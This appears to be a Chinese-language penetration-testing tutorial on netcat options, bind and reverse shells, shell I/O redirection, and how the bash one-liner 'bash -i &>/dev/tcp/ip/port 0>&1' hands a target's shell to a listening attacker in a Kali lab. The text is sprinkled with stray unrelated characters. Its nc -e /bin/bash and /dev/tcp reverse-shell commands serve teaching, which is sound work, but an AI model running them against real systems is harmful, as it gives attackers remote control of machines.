01 nc
netcat,簡稱nc趋厉,一款TCP/UDP網絡連接的利器,可實現任意TCP/UDP端口的偵聽,被稱為“瑞士軍刀”瞳脓,可見其功能強大埋酬。
nc的選項較多拳球,這里只介紹我們日常工作中可能會經常使用到的幾個選項魔吐。
"-v"選項奥溺,可以說是每次執(zhí)行命令時必添加的選項,用于輸出詳細信息立美,如果輸入兩次,那么輸出的信息將更多。
"-l"選項拢蛋,進入監(jiān)聽模式圆仔,"-p"選項坪郭,指定本地端口,這兩個選項通常結合使用萎羔,指定某端口進入監(jiān)聽狀態(tài)嘱根。如果想連接瓦哎,只需要輸入對應IP和端口即可犯助。
在kali中指定1234端口進入監(jiān)聽狀態(tài)瞬哼,物理機連接kali虛擬機坐慰,連接成功之后糟港,可以彼此發(fā)送數據健芭。
"-z"選項秀姐,連接成功后立即關閉連接,不進行數據交換若贮,可用來掃描省有。端口可以是單個的或范圍內的。"-i"選項谴麦,端口掃描時的時間間隔蠢沿。"-w"選項,連接超時時間匾效。"-n"選項舷蟀,不反向查詢IP對應的域名。
可以看到面哼,添加"-n"選項之后野宜,域名顯示為"UNKNOWN"。因為指定了超時時間魔策,所以有很多端口提示連接超時匈子。如果不指定超時時間,單個端口掃描時間會長一點闯袒。
"-c"選項虎敦,指定shell命令,使用/bin/sh執(zhí)行政敢;"-e"選項其徙,指定文件名,在連接后執(zhí)行喷户。
這兩個選項常用于獲取目標的shell唾那,如果是linux,"-c"選項和"-e"選項摩骨,都可以指定/bin/bash來獲取shell通贞;如果是windows,我們可以"-e"選項指定執(zhí)行cmd.exe來獲取shell恼五。
在講怎么獲取shell之前昌罩,我們先講講shell的分類。
正向shell(bind shell)
靶機:nc -lvp x.x.x.x port [-c/bin/bash?| -e /bin/bash?|?-ec:\windows\system32\cmd.exe]攻擊方:nc x.x.x.x port
反向shell(reverse shell)
靶機:nc x.x.x.x port [-c/bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]攻擊方:nc -lvp x.x.x.x port
正向和反向的區(qū)別灾馒,其實就是攻擊方和靶機之間誰主動發(fā)起連接的區(qū)別茎用。
攻擊方主動去連接靶機為正向,shell綁定在靶機的監(jiān)聽端口,攻擊方連接才能訪問轨功;靶機主動向攻擊方發(fā)起連接請求為反向旭斥,靶機主動將自己的shell發(fā)送給攻擊方。
根據網絡協議古涧,客戶端發(fā)起連接請求垂券,服務器端監(jiān)聽端口。正常情況下羡滑,攻擊方都是客戶端菇爪,靶機是服務器端。而反向shell本質上是網絡概念的客戶端與服務器端的角色反轉柒昏。
反向shell凳宙,更多人叫反彈shell。為了讓大家更好地理解正向shell和反彈shell的區(qū)別职祷,這里暫時叫反向shell氏涩,一眼就能明白兩者的區(qū)別是連接方向的區(qū)別,后續(xù)文章統一用反彈shell代替有梆。
需要注意的是是尖,不管正向shell,還是反向shell淳梦,"-c"選項或"-e"選項都是添加在靶機這一側析砸。
02 輸入/輸出重定向
在講輸入輸出重定向之前,我們先來了解了解標準I/O爆袍。
標準I/O
Linux shell以字符序列或流的形式接收輸入和發(fā)送輸出首繁。大多數命令,從鍵盤接受輸入并將所產生的輸出發(fā)回到顯示器陨囊,這就是標準的I/O弦疮。Linux shell使用3 種標準 I/O ,每種都與一種文件描述符相關聯蜘醋。
1胁塞、標準輸入:stdin,文件描述符0压语,對應設備通常為鍵盤2啸罢、標準輸出:stdout,文件描述符1胎食,對應設備通常為顯示器或打印機3扰才、標準錯誤輸出:stderr,文件描述符2厕怜,對應設備通常為顯示器或打印機
那么什么是輸入輸出重定向衩匣?通俗點來講蕾总,改變輸入輸出,使命令不是從鍵盤輸入琅捏,結果不是輸出到顯示器就叫做輸入輸出重定向生百。比如,從文件中獲取數據柄延,將輸出保存到文件蚀浆。
輸出重定向
有兩種方式可以將輸出重定向到文件:(如果文件不存在則會創(chuàng)建文件)
n>:將來自文件描述符n的輸出以覆蓋的方式重定向到某個文件。n>>:將來自文件描述符n的輸出以追加的方式重定向到某個文件拦焚。
如果不指定文件描述符n蜡坊,則默認文件描述符為1,即標準輸出赎败。如下圖所示,產生了標準錯誤輸出和標準輸出蠢甲。
重定向輸出僵刮,將標準輸出和標準錯誤輸出分別重定向到stdout.txt和stderr.txt。
再次將標準輸出重定向到stdout.txt鹦牛,發(fā)現內容已被覆蓋。
如果不想內容被覆蓋,則應使用>>署辉。由于ls命令沒有產生標準錯誤輸出短条,所以stderr.txt文件沒有新增數據。
當然礼殊,也可以把標準輸出和標準錯誤輸出重定向到同一個文件:使用&>或&>>驹吮。
另外,還可以先重定向文件描述符 n 晶伦,然后使用m>&n將文件描述符 m 重定向到相同位置碟狞。
注意,重定向是從左往右解析婚陪,要先重定向文件描述符 n 族沃。在下圖中,stderr 被重定向到當前的 stdout 位置泌参,然后將 stdout 重定向到 print脆淹,但第二次重定向僅會影響 stdout,而不會影響 stderr沽一;在上圖盖溺,stderr 被重定向到當前的 stdout 位置,也就是print锯玛。
如果想忽略輸出咐柜,可以將輸出重定向到/dev/null兼蜈。
輸入重定向
和輸出重定向一樣,我們可以使用“<”來重定向標準輸入拙友。
要說明的是为狸,shell(包括 bash)也擁有 here-document 概念,這是輸入重定向的另一種形式遗契。它將 << 和一個單詞結合構成一個標記辐棒,將開始標記 tag 和結束標記 tag 之間的內容作為輸入。
wc命令用來給系統清空垃圾...wc命令用于統計字數牍蜂。這里我們以EOF做為標記漾根,標記之間的都是本次的輸入。wc統計出有2行鲫竞,2個單詞辐怕,9個字節(jié)。
關于輸入輸出重定向知識的拓展先介紹到這里从绘,其他知識后續(xù)結合需求再介紹寄疏,方便結合實例理解記憶。
03 bash反彈shell
命令
bash -i &>/dev/tcp/ip/port0>&1
原理
命令主要分為兩個部分:bash -i 和重定向僵井。
bash -i:產生一個交互式shell陕截。&>:標準輸出和標準錯誤輸出都重定向到后面的對象。/dev/tcp/ip/port:與ip:port建立連接并傳輸數據批什。0>&1:將標準輸入重定向到標準輸出的位置农曲。
重定向這一部分,乍一眼可能還有點看不明白驻债。但仔細一看乳规,其實就是之前"m>&n"的語法。先重定向n却汉,&> /dev/tcp/ip/port驯妄,重定向符和對象之間允許有空格;然后m>&n合砂,重定向符和文件描述符之間不能有空格青扔。
/dev/tcp是Linux中的一個特殊文件,通過它打開套接字翩伪,與目標端口建立連接微猖。
命令用一句話解釋:與指定目標建立連接,同時將自己shell的輸入和輸出交給對方缘屹。下面我們結合實際操作來加深對這條命令的理解凛剥。
先查看一下bash的幫助文檔,里面說明如果添加"-i"選項轻姿,那么這個shell就是交互式的犁珠。
在攻擊機監(jiān)聽一個端口逻炊,等待靶機連接。
在靶機執(zhí)行如下命令犁享,可以看到攻擊機接收到了靶機的shell余素。
因為目前只是把標準輸出重定向,所以標準錯誤輸出還是輸出在靶機炊昆,標準輸入也是在靶機桨吊,所以在攻擊機輸入命令,命令并不會執(zhí)行凤巨。
接下來我們添加 "0>&1" 將標準輸入重定向到標準輸出相同的位置视乐,這樣就可以在攻擊機輸入命令并得到執(zhí)行。
最后敢茁,再把標準錯誤輸出也重定向到標注輸出的位置佑淀。到此,靶機shell的"控制權完全"移交到了攻擊機彰檬。